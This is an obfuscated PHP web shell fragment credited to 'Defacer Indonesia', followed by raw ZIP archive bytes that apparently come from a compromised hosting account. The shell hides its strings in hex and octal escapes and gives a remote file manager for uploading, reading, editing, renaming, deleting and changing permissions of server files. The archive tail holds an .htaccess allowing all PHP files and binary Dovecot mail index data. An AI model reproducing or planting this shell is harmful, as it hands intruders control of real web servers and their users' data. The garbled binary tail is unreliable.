hr\145f\075\x22?\x70\x61th\075";for($_ymyrqik=(int)rOUND(0+0+0+0);$_ymyrqik<=$_lyvgaxi;$_ymyrqik++){echo''.$_fxdae[$_ymyrqik];if($_ymyrqik!=$_lyvgaxi)echo"/";}echo"\042>".$_trbno."</\141>/";}echo"\074\x62\x72>\x3cb\x72><b\x72><\x66o\x6e\164\040\143\157lor=\042l\151m\x65\x22><fo\x72m\040\145n\x63\x74ype\x3d\x22mult\x69\160\141r\164\057\146\x6frm\x2d\144\x61t\x61\042\x20\155e\164hod=\x22\x50\x4fST\x22\076\x0d\012\x55\160\x6c\x6f\141d \x46\151\x6c\145\072\040<in\x70\x75t \164\x79pe=\042\x66\151le\x22\x20\x6eame=\x22fi\x6ce\042 \x73\164yl\x65\x3d\x22\x63olor\072\x6cime\073b\157r\x64\x65r:\062p\170 s\157lid\040\154im\x65;\042\x20\x72\x65\x71u\x69\x72ed/></f\x6fnt>\x0d\x0a<input\x20t\x79\160\145=\x22subm\x69t\042 \166\x61l\x75e=\042U\120LO\101D\x22\x20\x73t\x79le\x3d\x22m\141\162gin\x2d\x74o\160\x3a4px;width\x3a\0610\x30p\x78;he\151g\x68t:2\067p\170\073\x66ont-\146ami\154y\072K\x65\x6c\x6c\171 Sla\x62;\x66\x6f\156t\055\163\x69\172\145\x3a15\073\142\x61\143\x6bg\162\x6f\165\156d:black;col\x6fr\x3a lime\x3bbord\x65\x72:2px s\157li\144\x20\x6c\x69me;borde\162-rad\x69us:5p\x78\x22\057>";if(isset($_FILES["f\x69le"])){if(cOpY($_FILES["f\x69le"]["tmp_na\x6de"],$_rchv."/".$_FILES["fil\145"]["na\x6de"])){echo"<br\x3e\074br>\074\146\x6f\x6e\x74 color=\042\x6ci\x6d\x65\x22>\125\120LOAD\x20\123UCC\x45S\040!\041\x21!</\x66o\156t\x3e<\x62\x72/>";}else{echo"<\x73cr\151\160t>a\x6ce\x72t\x28\x22\x46i\x6ce Gaga\154\040\x44\151u\160\x6c\x6f\x61d \041!\x22)\x3c/s\x63ri\x70t>";}}echo"\074\057\146\x6frm\076\x3c\x2f\x74d\x3e<\x2f\x74\162>";if(isset($_GET["f\151lesrc"])){echo"\074tr\x3e<\x74d\076\146iles\x20\x3e\076 ";echo$_GET["f\x69lesr\x63"];echo"\074/tr>\x3c\x2ftd>\074/\164a\142\154e\076<br /\076";echo("\040<\x74\x65\170\164ar\x65a \163\164yle\075\x22\146\157\x6et-\x73\151\172\145: 8px;\x20\142or\x64\145r\072 1\x70x solid \x77\150ite;\040b\x61c\153\x67r\x6f\165\156d\x2dcol\157\x72\x3a \x62lac\x6b\073 c\x6f\154or:\040whit\x65\x3b\040\x77\x69\x64t\150:\0401\x300%;heig\x68t:\x201\06200px;\042\040\x72ead\x6fnly\076\x20".htmLSpecIAlChArs(filE_Get_cOntENTS($_GET["\146il\x65\x73rc"]))."\x3c\x2ftexta\162\145a>");}elseif(isset($_GET["\157p\x74io\x6e"])&&$_POST["op\164"]!="\x64elet\x65"){echo"</\x74a\142\154e\076\x3c\142r\040\057\076<\143enter>".$_POST["\x70a\x74h"]."\074br\x20\057\076\x3cbr\x20\x2f\076";if($_POST["o\160t"]=="c\x68\x6do\144"){if(isset($_POST["p\x65\162m"])){if(CHmOd($_POST["pat\150"],$_POST["pe\162m"])){echo"<\x62\x72><b\x72\x3e<f\157\x6e\x74 \143\x6flo\162\075\x22l\151\x6de\x22\x3e\x43H\x41\x4e\107E\040PERMI\x53SI\x4fN\x20\123\x55C\x43\x45\123\x53 !!<\x2ffont\076<\142\x72/>";}else{echo"<sc\x72ipt\076\141le\x72t(\x22\x43han\147e\040\x50e\x72miss\x69o\156 G\x61\147\141l\x20!!\042)\x3c\x2fs\143\x72ip\164\x3e";}}echo"<for\x6d metho\144\075\042P\x4fS\124\042\x3e\x0d\x0aP\145r\155iss\x69o\156 \072 <i\x6e\160u\x74\x20name\x3d\x22p\x65r\x6d\x22 type=\x22t\145\170t\x22\x20si\x7ae=\x224\042\040\166alu\x65=\042".SUBStr(sPRINtF("\045\x6f",fiLEPeRmS($_POST["\160ath"])),-(int)rOunD(1.3333333333333+1.3333333333333+1.3333333333333))."\x22\x20s\x74yl\x65=\042\x77i\144t\x68\07280p\170\x3b heig\x68t: \x33\060\x70x\x3b\x22\057>\015\x0a<\x69\156\x70\165\164 type=\x22\x68idden\042\040n\x61m\x65=\042pat\x68\042\x20v\141\x6cu\145\075\042".$_POST["\x70at\x68"]."\042>\015\012\074i\x6ep\x75\164\x20typ\145\075\x22hi\x64de\156\042 nam\x65\x3d\042op\164\x22 \x76a\154\165e\075\x22c\x68\x6do\144\042>\015\012\074i\156p\165t t\x79pe=\042sub\x6d\151\x74\042 v\141l\165e=\042\x4canjut\x22\x20\x73\164yle=\x22w\x69dth:\x360\x70x;\040h\145\151\147\x68t: \x33\x30px\073\x22/>\x0d\012\x3c/\146orm>";}elseif($_GET["op\x74"]=="bt\167"){$_nrkskmnq=getCwD();echo"\x3cf\157\162m a\143\164\151on\075\x22\077\x6fp\164\151\x6fn&p\141\164h=".$_nrkskmnq."&op\164=del\x65\164\x65&t\171\160e=\142\165\141t\x22\x20\x6det\x68\x6fd=\042P\117\123\x54\042\076\x0d\x0a\116ew\040\116\x61me :\040<in\160ut na\155e=\042\x6ea\155e\x22 type\075\042\x74\145\x78\x74\x22 s\x69\172e\x3d\042\0625\x22 v\141\154\x75\x65\075\042\106o\x6cd\x65\x72\042\040st\171le=\042wi\144th:3\x300\x70x; hei\147\x68\164:\0403\x30\160\x78\x3b\042\x2f\076\x0d\x0a<\x69\x6eput \x74ype\x3d\042h\x69dden\042 nam\145\075\x22path\x22\040value\x3d\042".$_nrkskmnq."\042>\015\x0a\x3cin\160ut\040\164ype\075\x22hid\144\145n\042 na\155\145=\x22\157\160t\x22 va\x6cue=\042\x64\145\x6cete\x22\076\x0d\012\074in\160\165\x74\040t\x79\160e=\x22\163\165b\x6d\151t\042 \x76\x61l\x75e=\x22G\157\042\x20\163t\x79\x6ce\075\042w\151\x64\x74h:1\0600px\x3b\x20h\x65igh\x74\072 30\x70x\x3b\x22/\076\x0d\012</\146orm>";}elseif($_POST["o\x70t"]=="rena\155\145"){if(isset($_POST["\x6ee\167name"])){if(renAMe($_POST["p\x61\x74\150"],$_rchv."/".$_POST["newn\x61m\x65"])){echo"\074br\076\074b\x72\076<\x66o\156t co\x6c\x6fr=\042\x6cim\x65\042\076CH\x41N\107E NA\115\105\040\x53\x55C\x43\x45SS\x20!!\074/f\x6fnt>\x3c\x62\x72\x2f>";}else{echo"<sc\x72ipt>a\x6ce\162t\x28\042\103\x68\141n\x67e\040\116\x61me\x20\107agal !!\x22)<\x2f\x73c\162\151p\164\x3e";}$_POST["name"]=$_POST["newn\x61me"];}echo"<fo\x72\155\040m\145thod=\x22P\117\123T\x22\x3e\015\x0a\116\x65w \x4eame\x20: \x3c\x69npu\164 name\075\042\156\x65wn\141\x6de\x22 \x74ype=\042text\042 s\x69\x7a\145=\042\065\042\040\163\x74yle=\042w\x69\144\x74\x68\x3a20%\073\x20h\x65\x69g\x68t:30px\x3b\042 \166alue\075\x22".$_POST["\156\141\155e"]."\042 />\x0d\012\x3cin\160\165t\x20typ\145\x3d\042hi\x64den\042\040n\141me\x3d\x22p\x61\x74h\x22 va\154ue\075\042".$_POST["pa\x74\x68"]."\x22>\x0d\012<input\040\x74yp\145\x3d\x22hi\144de\156\x22 n\141\155e=\x22o\x70t\x22\x20v\x61\154\x75\145\x3d\042\162\145n\141\x6de\042>\x0d\012<\151n\x70ut\x20ty\x70\x65\x3d\042s\x75b\155\x69t\042 value\x3d\x22Lanj\x75\164\x22 s\164y\x6ce=\042he\151ght:30px\x3b\042 \057>\015\012</f\x6f\162m>";}elseif($_POST["op\x74"]=="\145d\151t"){if(isset($_POST["\163rc"])){$_rkzbuyrn=FoPEn($_POST["path"],"w");if(fputs($_rkzbuyrn,$_POST["s\x72\143"])){echo"<br\x3e<\142r\x3e\x3c\146\x6f\156\x74 co\x6c\x6f\162=\x22\x6c\151m\x65\x22\x3e\105\x44\x49\x54\x20\x46ILE SUC\103ES\123\040\x21\041<\x2ffont\x3e<b\x72/>";}else{echo"<\163crip\164>\x61\154\x65r\x74(\042E\144\x69t F\151le G\141\x67\141l\040\x21\x21\042\051\x3c\057s\x63r\151pt>";}FcloSE($_rkzbuyrn);}echo"<\146orm\040\x6deth\157\x64=\x22\x50O\123\x54\x22>\x0d\x0a<t\x65\170t\141\162\x65\x61\040\143ols\x3d\x38\x30 rows=2\x30 n\141m\145\075\042src\x22 \163\164yl\145\x3d\042fon\x74\x2dsi\172e: \x38px;\x20bor\x64\x65\162:\0401\160\x78 s\157l\x69d w\x68ite; ba\143kgro\165\x6e\x64-\x63\x6flo\162\x3a \x62l\141ck; co\154or\072 \167\150ite; \x77\x69\144th\x3a \06100\x25;heig\x68t:\04010\0600p\x78\x3b\042>".HtmlSPeCIalCHars(fILe_geT_cONTEnts($_POST["\x70at\150"]))."\074/te\x78t\x61\x72\x65a\x3e<\142r /\x3e\015\012\074inp\x75\164 \x74y\160e=\x22\x68id\x64en\x22\x20\x6e\x61m\x65=\042pat\x68\x22\x20valu\145\075\x22".$_POST["pat\x68"]."\042>\x0d\x0a<\x69npu\164 \x74yp\x65=\042\150i\x64\144e\x6e\042 n\141m\x65=\x22opt\x22\x20\x76alu\x65\x3d\x22edit\042\x3e\x0d\x0a<i\156put t\171p\145\075\x22\x73ubmit\x22\040\166alue=\x22\114an\x6au\164\042 \163tyle=\x22\150\x65igh\164:30p\170\073\x20\167idth:7\060px;\042/\076\x0d\012\074/fo\162m>";}echo"\x3c/c\x65nter\x3e";}else{echo"</t\x61\142l\x65\076<\142r\040/><\x63\145\156te\162>";if(isset($_GET["o\x70tion"])&&$_POST["opt"]=="\x64\x65\x6ce\164e"){if($_POST["t\171pe"]=="d\x69\x72"){if(RmdiR($_POST["\x70a\164h"])){echo"<b\x72><br><fo\156\x74\x20color=\042\154\151m\x65\x22>D\105LE\124\105 \x44\x49R SU\x43CE\123\x53\040!\x21</\x66o\156t><br\057>";}else{echo"\074scr\x69pt\076alert\x28\042\104elete Dir\x20G\141g\x61\154\040!!\x22)</s\143\x72\151\160t\076>";}}elseif($_POST["\x74ype"]=="\146ile"){if(UnLINK($_POST["\x70at\150"])){echo"\x3cbr\076\074br>\074f\157\x6et\040c\157\154or=\042\154\151m\x65\042\x3eD\x45\x4cE\124\105 \106\x49LE\x20SUCCES\x53 !!\074/font>\074\x62r/\076";}else{echo"<scri\160t\x3e\x61\154\145\x72t(\x22\x44e\154e\164e Fil\x65\040G\141ga\154 !!\x22)</s\143r\x69p\x74>";}}};echo"</\143enter>";$_ayypv=scANDiR($_rchv);$_xpytds=getCwd();echo"<di\166 i\144\x3d\042c\x6fnten\x74\042>\x3cta\142\154e w\151\144\164\x68=\042\0715\045\042\x20\143la\x73\x73=\x22t\141ble\137h\157m\x65\042\x20border=\0420\042 \x63ell\160ad\144\x69ng=\0423\042 cell\x73pac\x69n\147\x3d\x22\061\042\040\x61l\151\147n\075\x22ce\156ter\x22\076\015\012<\164r\x20\x63\x6ca\x73s\075\x22\146\x69\x72\x73\x74\042>\015\012<\x74\150\076\074\x63\145n\164e\162>Na\x6d\145</\143\145\x6ete\x72\076<\057\164h>\x0d\x0a\074th><c\145nt\145\x72\076S\151\x7ae</cen\164\x65\162>\x3c/t\x68\x3e\015\x0a<\x74h>\x3cc\x65\156te\162\076Per\x6d</\x63\x65n\x74e\162></\x74h>\x0d\012<\x74\150>\x3cc\145\156t\x65r>O\x70\x74\151ons</\x63\x65nter></t\x68>\x0d\012</\164r>\x0d\012<t\162>";foreach($_ayypv as$_quvizd){if(!iS_dIr($_rchv."/".$_quvizd)||$_quvizd=="\x2e"||$_quvizd==".\056")continue;echo"<t\162>\x0d\x0a\x3ctd\040\x63la\163s=td_h\x6f\155\145>\074\151m\147\x20\x73\x72c\075\x27'><\141\x20\x68ref\x3d\x22\x3fp\141t\150=".$_rchv."\x2f".$_quvizd."\x22> ".$_quvizd."</a\076</td\076\x0d\012<t\x64\040class\075t\144\137\150\x6f\155e>\074cente\x72>\x44IR</cen\x74er><\057\164d\x3e\x0d\012<\164d\040cla\x73s\x3dtd\137ho\x6de>\074\143\x65n\164er>";if(iS_WRItABLe($_rchv."\057".$_quvizd))echo"\x3c\x66on\164 \x63\x6f\154o\162\x3d\x22#57F\1060\x30\x22\x3e";elseif(!IS_ReAdaBLe($_rchv."\x2f".$_quvizd))echo"\074font \143olo\x72=\x22\043\106F0\x30\0604\042>";echo _exhctpr($_rchv."\057".$_quvizd);if(iS_wRItABLE($_rchv."/".$_quvizd)||!iS_rEAdABlE($_rchv."/".$_quvizd))echo"</\146o\156\x74>";echo"<\x2fc\x65nt\145r>\x3c/t\144\076\015\x0a<\164d \x63la\x73\x73=td_h\157m\x65><\143\x65\156te\162><f\x6fr\155 \x6de\164ho\144=\042PO\x53\x54\x22 acti\157\x6e=\x22\077\157p\x74i\157n&\x70a\164h=".$_rchv."\042>\015\012\074\x73elect\x20\156ame=\x22\x6f\160\x74\042\040sty\154e=\x22mar\x67i\x6e\x2d\x74op\x3a6\160\170\x3b\167\151d\x74h:\x31\0600p\x78;fo\x6et-fam\151ly:K\145ll\x79\040\123la\x62\073fon\x74-\x73i\x7a\145\0721\065\073backgro\165\156\x64:b\154ac\153;color\x3al\x69\155e;bo\162der\0722px s\157\x6cid \154\x69\x6de;bo\162\x64er-rad\x69\x75s\072\065px\x22>\x0d\x0a<option val\x75e=\042\x41c\x74i\157n\x22\x3eA\143t\x69o\x6e<\057o\x70\x74ion\x3e\x0d\x0a<o\x70\x74ion\x20\166a\x6cu\x65\075\042delet\x65\x22>De\x6c\145\164e\x3c\057\157pti\157n>\015\x0a<opti\157n v\x61\x6cu\145\x3d\042ch\x6dod\042>Ch\155od\x3c\x2foptio\x6e>\x0d\x0a<\x6f\160\164io\x6e\x20v\x61lue=\x22\162e\x6eame\x22>Re\x6e\141m\145</option\x3e\x0d\x0a<\x2fse\154ec\164\x3e\x0d\x0a\x3ci\x6e\x70\165\164 t\171\160e\x3d\042hidden\x22 \156a\x6d\x65\075\x22type\042 \x76\x61\x6cue\075\042dir\x22\076\x0d\x0a\074\x69n\160\165\164\x20type=\042hidd\145\x6e\042 n\141me\075\x22name\042\040v\141\x6cue=\042".$_quvizd."\042\x3e\015\x0a<\x69nput\040\164\171\160e=\042hi\x64den\042\040\156am\x65=\x22\160\x61th\042 \x76alue\x3d\042".$_rchv."\057".$_quvizd."\x22>\x0d\012<i\156\160u\x74 \164y\x70e\x3d\042s\165b\x6d\151\164\042 v\141lue\075\042\x3e\x22 styl\145=\042ma\x72gin-to\x70\x3a\x36px;w\151dt\x68:2\x37\x3b\x66\157\x6et-fami\154\171\072\x4b\x65ll\x79 \x53l\x61b;\x66o\156t-size\x3a15;ba\x63\153gr\x6f\165\156d:bla\143k\073\x63\x6flor:lime\073bo\x72\x64e\162\x3a2\160x solid\040\x6c\x69\155e;b\157r\144er-ra\x64i\x75\163:5\x70x\042/>\015\x0a\x3c/fo\162\155><\x2fcenter\076<\x2ft\x64\076\015\012\x3c\x2ft\162>";}echo"\074tr\040c\x6c\141\163s=\x22fi\162s\x74\042>\074t\x64><\x2ftd><\x74d\x3e</\x74d\076<\164\x64>\074/\164\x64\076\x3c\x74d>\074\057t\x64\x3e\074/tr\076";foreach($_ayypv as$_ydbte){if(!iS_FIle($_rchv."\057".$_ydbte))continue;$_oydcdm=FilesizE($_rchv."/".$_ydbte)/(int)RoUNd(256+256+256+256);$_oydcdm=ROUnD($_oydcdm,(int)RoUnd(1+1+1));if($_oydcdm>=(int)ROuNd(256+256+256+256)){$_oydcdm=rouNd($_oydcdm/(int)RoUnD(256+256+256+256),(int)RoUNd(94+94+94)-(0550-0120))."\x20MB";}else{$_oydcdm=$_oydcdm." KB";}echo"<tr>\015\x0a<td class=td_\150\x6fm\x65\076<i\155\147 \163rc=\x27'\076<\141 \150r\145f=\x22\077\146\151\154\145\163\162c=".$_rchv."/".$_ydbte."&\x70\x61th=".$_rchv."\x22> ".$_ydbte."</a></\164\144>\015\012<\164d \143lass=td_\x68ome\076\x3cc\x65nter>".$_oydcdm."\x3c\x2f\x63e\x6eter\076</\164\144\076\x0d\x0a\x3c\164d cl\x61ss=t\144\137\150ome><ce\156te\162\076";if(iS_WritaBle($_rchv."\x2f".$_ydbte))echo"\x3cf\157\156\x74 c\x6flo\162=\x22#\0657FF\x30\x30\x22>";elseif(!is_rEadaBLE($_rchv."\057".$_ydbte))echo"<fo\156\x74 co\x6co\162=\042\x23F\1060004\042>";echo _exhctpr($_rchv."/".$_ydbte);if(iS_WRItAble($_rchv."/".$_ydbte)||!iS_reADABle($_rchv."/".$_ydbte))echo"\074/\x66\157nt\x3e";echo"</c\145nt\145r>\074\057\x74\x64>\015\x0a\x3c\164\x64 c\154\x61ss\075\x74\x64_\x68o\155e>\074ce\x6e\164\x65r><f\157rm \155e\x74ho\x64=\x22POST\042\x20\x61ct\x69\x6fn\075\x22?\x6fp\x74ion&\160ath\075".$_rchv."\042>\x0d\x0a<s\145l\145c\164\040n\x61me=\042\x6f\160t\042\x20st\171\154e=\042\155a\x72g\151\x6e-to\160:6\160\x78;w\x69dth\072\x3100p\170;fo\x6et-f\141mi\x6cy\x3aKelly \x53lab;\x66\x6fnt-s\x69\172e\07215\x3bb\141\143\x6bgr\x6f\165\x6e\144:bl\x61ck;c\157\154o\x72:\x6cime\073\x62orde\x72:\062p\170 soli\144 li\155e;borde\x72\055\x72adius:\065p\170\x22>\x0d\012<o\x70\x74\x69on \x76a\154ue=\x22\101\143\x74\151on\042\076Ac\164\151on</o\160t\151o\156>\x0d\012<opt\x69\157\156 value\x3d\042\x64el\x65t\x65\x22>\x44e\x6c\145\x74\145\074/o\160tio\x6e>\015\x0a<o\160\x74io\156\x20\166\141l\165\145=\042\x65\x64\151t\042\x3eE\x64it\074/o\x70\x74ion>\x0d\x0a<opt\151o\x6e\x20\x76alue\075\042re\156\x61\155\x65\042>\x52e\156\141me\x3c/\157p\164i\157n>\x0d\x0a\074\157ption\x20v\x61lue=\x22c\x68\155o\x64\042\x3eC\150mod<\x2f\x6f\x70tion\076\015\x0a<\x2fsele\143\x74>\x0d\x0a<\x69nput t\171\x70e=\x22\x68idd\x65\156\x22 nam\145\075\x22\x74\x79\160e\042\040\166a\x6cue=\042fil\145\042>\015\x0a<in\160\165t t\171\160\145=\042hidde\156\042\040\x6e\141me\x3d\042n\x61m\x65\042\x20value=\x22".$_ydbte."\042>\015\012<in\x70ut\x20typ\x65=\x22\150\151dden\x22\040n\141me\x3d\042\x70a\164\150\042 v\141\x6cue=\042".$_rchv."/".$_ydbte."\x22>\x0d\012<\151n\x70u\164 type\x3d\x22\x73\x75bmi\164\x22 v\141lue=\042>\x22 sty\x6ce\x3d\x22ma\x72\147\151n-\x74op\0726px\x3bwidt\150\x3a\0627;f\157\x6et-\x66am\x69\x6cy:\x4be\154\x6c\x79 Slab\x3b\146o\x6e\164\x2d\x73i\172\145\x3a15;\142a\143\153gro\x75nd\072\x62\154\x61ck;colo\162\x3alime\x3b\x62or\x64e\x72\072\x32px s\157li\144 \x6cime;bor\144\145\x72-\162a\x64\x69us:5\160x\x22\x2f\076\015\x0a</\146\157rm><\057cen\x74\x65r\x3e</td>\x0d\x0a\x3c/\x74\x72>";}echo"\x3c/\164\x61\x62le>\x0d\012</\144\151v\x3e";}echo"<c\x65\156t\145\x72><b\x72\057><\x66\x6fnt f\x61ce\075\x22\x4b\x65\154ly S\154\x61\x62\x22 \x63o\154o\162=\042\x77hi\x74\x65\x22 \x73tyl\x65=\042tex\164\055\163ha\x64ow:\060\040\x30\x202\060px\x20#0\x30\106\x41\x46F,\x200 0\040\065px #0\060FAFF, 0 0 7px\040r\145d\054 \x30 0\0404\x35\160x\040\04300F\x41F\x46; \x66\x6fn\x74\x2d\x77\x65\x69\x67h\164\072b\157l\x64: \x77hit\145; \146\x6f\156\x74\x2d\163ize:15\160\170\x22>\103\157p\x79\x72\x69\x67\150t\x20&c\x6fp\171\07320\0621\040|| D\145fa\x63\x65\162 \x49\x6edonesia\x0d\012</bod\171\076\015\x0a</ht\155l>";function _exhctpr($_ydbte){$_cpvrpwnd=FIlEPERMs($_ydbte);if(($_cpvrpwnd&(int)rouND(16384+16384+16384))==(int)ROuNd(24576+24576)){$_bypphv="s";}elseif(($_cpvrpwnd&((0120730+-0572)-(0321+-0163)))==(int)RoUnd(10240+10240+10240+10240)){$_bypphv="l";}elseif(($_cpvrpwnd&(int)round(16384+16384))==(int)ROunD(8192+8192+8192+8192)){$_bypphv="-";}elseif(($_cpvrpwnd&(int)ROunD(6144+6144+6144+6144))==((int)RoUnd(8114.6666666667+8114.6666666667+8114.6666666667)-(int)ROUnd(6050.25+6050.25+6050.25+6050.25)+(057627+057662-057730))){$_bypphv="\142";}elseif(($_cpvrpwnd&((040376-0167)+(int)rOUND(5371.6666666667+5371.6666666667+5371.6666666667)+(int)RouNd(-8125+-8125)))==((036050-036046+036555)-(042172-041467+042242-01443)-(-042463- -042531+-042524+-045))){$_bypphv="d";}elseif(($_cpvrpwnd&((017060+020614-017717)-(017001+017770+-016747)-(int)ROund(-4114.5+-4114.5)))==((int)RoUNd(4371+4371)-(int)rOuNd(2550.6666666667+2550.6666666667+2550.6666666667)-(020755-01315)-(int)rouNd(-7535+-7535))){$_bypphv="\143";}elseif(($_cpvrpwnd&((int)rOUnD(2228+2228)-(06072+0464)+(04674-07021- -010133)))==((int)ROunD(1104+1104+1104+1104)-(010604-020)+(011642+011533+010533-024127)-(-0602-0413+01132))){$_bypphv="\160";}else{$_bypphv="u";}$_bypphv.=(($_cpvrpwnd&((int)rOUNd(47.5+47.5)-(-0172- -0123- -0462+-0654)))?"\x72":"-");$_bypphv.=(($_cpvrpwnd&(int)rouNd(32+32+32+32))?"w":"-");$_bypphv.=(($_cpvrpwnd&((0345+0121-0305)+(-0624- -01222+-0462)+(0233+01120-0456+-0534)+(int)rOUnD(-47+-47)))?(($_cpvrpwnd&(int)rOund(512+512+512+512))?"s":"x"):(($_cpvrpwnd&(int)ROUnd(1024+1024))?"\123":"\x2d"));$_bypphv.=(($_cpvrpwnd&((0246- -0101)+(0752+-01417- -0301)-(int)rOUNd(65.5+65.5)+(int)roUnD(10.666666666667+10.666666666667+10.666666666667)))?"r":"-");$_bypphv.=(($_cpvrpwnd&((int)roUnd(81.25+81.25+81.25+81.25)+(int)rOuND(41+41)+(int)rOunD(-195.5+-195.5)))?"w":"-");$_bypphv.=(($_cpvrpwnd&((int)ROUND(-107.75+-107.75+-107.75+-107.75)+(int)RouNd(-133+-133+-133)+(-02175- -01374-0650)-(-02773- -03236+-03425+03)))?(($_cpvrpwnd&((int)ROuND(311+311+311+311)+(int)round(492+492)-(int)rOunD(293.25+293.25+293.25+293.25)-(int)RouND(7.75+7.75+7.75+7.75)))?"\163":"\x78"):(($_cpvrpwnd&(int)roUNd(256+256+256+256))?"S":"-"));$_bypphv.=(($_cpvrpwnd&(int)rOuNd(1.3333333333333+1.3333333333333+1.3333333333333))?"\x72":"-");$_bypphv.=(($_cpvrpwnd&((01231+-0230)-(int)rOund(-49+-49+-49)-(int)rouNd(188+188)-(02026-01130-01514+01250)))?"\x77":"\055");$_bypphv.=(($_cpvrpwnd&(int)Round(0.33333333333333+0.33333333333333+0.33333333333333))?(($_cpvrpwnd&((01371+01374+-01362)+(int)rOuND(310.33333333333+310.33333333333+310.33333333333)+(02044-0544)-(04733+02761-02747+-01177)))?"t":"x"):(($_cpvrpwnd&(int)rOUnd(256+256))?"T":"\055"));return$_bypphv;};echo"n\x66\157\x20.= ((\044\160erm\x73\x20\046 \x30x\x30020\x29 \x3f \047r' : \047\x2d')\073\x0d\x0a\x24\x69\x6efo .=\040\050\x28\x24per\x6ds &\x200x\x30010)\x20? 'w\047 \x3a '\x2d');\015\x0a\x24in\146\x6f\x20\056=\x20((\x24\160\145rms \x26 \x30x0\060\x308)\040?\015\012((\044\x70e\x72ms\x20& 0x\0604\0600) \077 '\x73' : \047\170' ) :\x0d\x0a((\x24pe\x72\155s\040& \060x\x30400\x29 ?\x20'S\x27\x20\072 '-\047))\073\x0d\x0a\x0d\x0a\057\057\x20Wo\x72\154\144\015\x0a\044i\156\146\x6f\040\056= ((\044\160\145\162\155s\040\x26\0400\1700\060\x304\051\040? '\162' \072 '\x2d\047\x29\073\x0d\012\x24\x69\156\146\x6f .= (\x28\044\x70er\x6ds & \060x\x30\x3002)\x20? \047w' : '-\047);\015\x0a\x24\151nfo \x2e\075 ((\044pe\162m\163 & \x30\170\x30\x30\0601\x29\x20\x3f\015\x0a\x28(\044perm\x73\040& \060\17002\0600) \077\x20\047\164\x27\040:\040\047\170'\x20)\x20:\x0d\x0a\050\x28\x24per\x6d\163 & 0x\060200)\040\x3f 'T\x27\040:\040\047-'))\073\x0d\012\x0d\x0a\x72\145\x74\x75r\x6e \x24\x69nf\x6f;\015\012}\x0d\x0a\077\x3e\015\x0a\015\x0a\077>\015\x0a\x26 \x30x\x30\06001)\x20?\015\012(\050\044pe\x72m\163 & \060\x78\x302\x300)\040\077\040'\164\x27\040\x3a\040'\170' \051\x20:\x0d\x0a((\044\x70e\x72\155\163 \x26 0x0\x3200)\x20? '\124' : '-'\051)\073\015\012\x0d\012ret\x75\x72\156\040\044info;\015\x0a\x7d\x0d\012?>\x0d\012\015\012\077>\015\012))\x3b\x0d\x0a\015\x0a\162\145tu\x72n \044in\x66o\073\x0d\012}\x0d\x0a?>\x0d\x0a\x0d\012?\x3e\015\x0a"; ?><?php while(false){/*EGnMI8l7eEco9PFk*/ break;}; ?>PK ��ZV��I I topsaasview.com/.htaccessnu �[��� <FilesMatch \.php$> Order allow,deny Allow from all </FilesMatch>PK ��Z dovecot-uidvalidity.671c980enu ��6�$ PK ��Z�W|3 3 dovecot-quotanu ��٘� priv/quota/messages 382 priv/quota/storage 1315531 PK ��Z�VZH dovecot.index.lognu ��٘� ( �g x� � h\ ���� H ���� \ ����@ �g ���� \ X� ���� X ����@ $ ���� $ � hEng6��&� h,j�za ���� @ � ���� H ���� ] ����@ �g ���� ] P� ���� X ����@ $ ���� $ y#hEng6��&y#h=(Y-�a ���� @ � ���� H ���� ^ ����@ �g ���� ^ H� ���� X ����@ $ ���� $ �?hEng6��&�?hKу- b ���� @ 8 ���� H ���� _ ����@ �g ���� _ |� ���� X ����@ $ ���� $ �VhEng6��&�Vh��qQb ���� @ � ���� H ���� ` ����@ �g ���� ` t� ���� X ����@ $ ���� $ �|hEng6��&�|h���:�b ���� @ � ���� H ���� a ����@ �g ���� a l� ���� X ����@ $ ���� $ ��hEng6��&��h�S�b ���� @ H ���� H ���� b ����@ �g ���� b d� ���� X ����@ $ ���� $ ;�hEng6��&;�h��)c ���� @ � ���� H ���� c ����@ �g ���� c \� ���� X ����@ $ ���� $ �hEng6��&�h��'pc ���� @ � ���� H ���� d ����@ �g ���� d T� ���� X ����@ $ ���� $ e�hƣhBRH.e�h��5�c ���� @ X ���� H ���� e ����@ �g ���� e L� ���� X ����@ $ ���� $ l�hƣhBRH.l�hV�&�c ���� @ ���� x ���� f ����@ �g ���� f D� ���� T $ �Nhf X X K 6 � ���� h ����@ $ ���� $ �hƣhBRH.�h �X%Gd ���� L �������� @ � ���� x ���� g ����@ �g ���� g <� ���� T $ @�hg f X X K 6 ���� X ����@ $ ���� $ ��hƣhBRH.��h����d ���� @ � ���� H ���� h ����@ �g ���� h 4� ���� X ����@ $ ���� $ ��hƣhBRH.��h����d ���� @ � ���� H ���� i ����@ �g ���� i ,� ���� X ����@ $ ���� $ ��hƣhBRH.��hQ�9e ���� @ 8 ���� H ���� j ����@ �g ���� j $� ���� X ����@ $ ���� $ ��hƣhBRH.��hPBge ���� @ � ���� H ���� k ����@ �g ���� k � ���� X ����@ $ ���� $ ��hƣhBRH.��hyVT �e ���� @ � ���� H ���� l ����@ �g ���� l � ���� X ����@ $ ���� $ �hƣhBRH.�hm�=!�e ���� @ H ���� H ���� m ����@ �g ���� m � ���� X ����@ $ ���� $ �zhƣhBRH.�zh��?f ���� @ � ���� x ���� n ����@ �g ���� n � ���� T $ @Chn g g f X X K 6 ���� X ����@ $ ���� $ �{hƣhBRH.�{h\>>'�f ���� @ � ���� H ���� o ����@ �g ���� o �� ���� X ����@ $ ���� $ �|hƣhBRH.�|hj�%�f ���� @ � ���� H ���� p ����@ �g ���� p � ���� X ����@ $ ���� $ �}hƣhBRH.�}h4�ng ���� @ 8 ���� H ���� q ����@ �g ���� q � ���� X ����@ $ ���� $ ��hƣhBRH.��h���4_g ���� @ � ���� H ���� r ����@ �g ���� r � ���� X ����@ $ ���� $ �hƣhBRH. �h#&��g ���� @ � ���� H ���� s ����@ �g ���� s ܱ ���� X ����@ $ ���� $ J�hƣhBRH.J�h��[�g ���� @ H ���� H ���� t ����@ �g ���� t Գ ���� X ����@ $ ���� $ ��hƣhBRH.��hDz< 7h ���� @ � ���� H ���� u ����@ �g ���� u ̵ ���� X ����@ $ ���� $ b�hƣhBRH.b�h��h ���� @ � ���� H ���� v ����@ �g ���� v ķ ���� X ����@ $ ���� $ ðhƣhBRH.ðh��8�h ���� @ X ���� H ���� w ����@ �g ���� w �� ���� X ����@ $ ���� $ �hƣhBRH.�h��!i ���� @ ���� H ���� x ����@ �g ���� x �� ���� X ����@ $ ���� $ -�hƣhBRH.-�h薗#Wi ���� @ � ���� H ���� y ����@ �g ���� y �� ���� X ����@ $ ���� $ ��hƣhBRH.��h&��:�i ���� @ h ���� H ���� z ����@ �g ���� z �� ���� X ����@ $ ���� 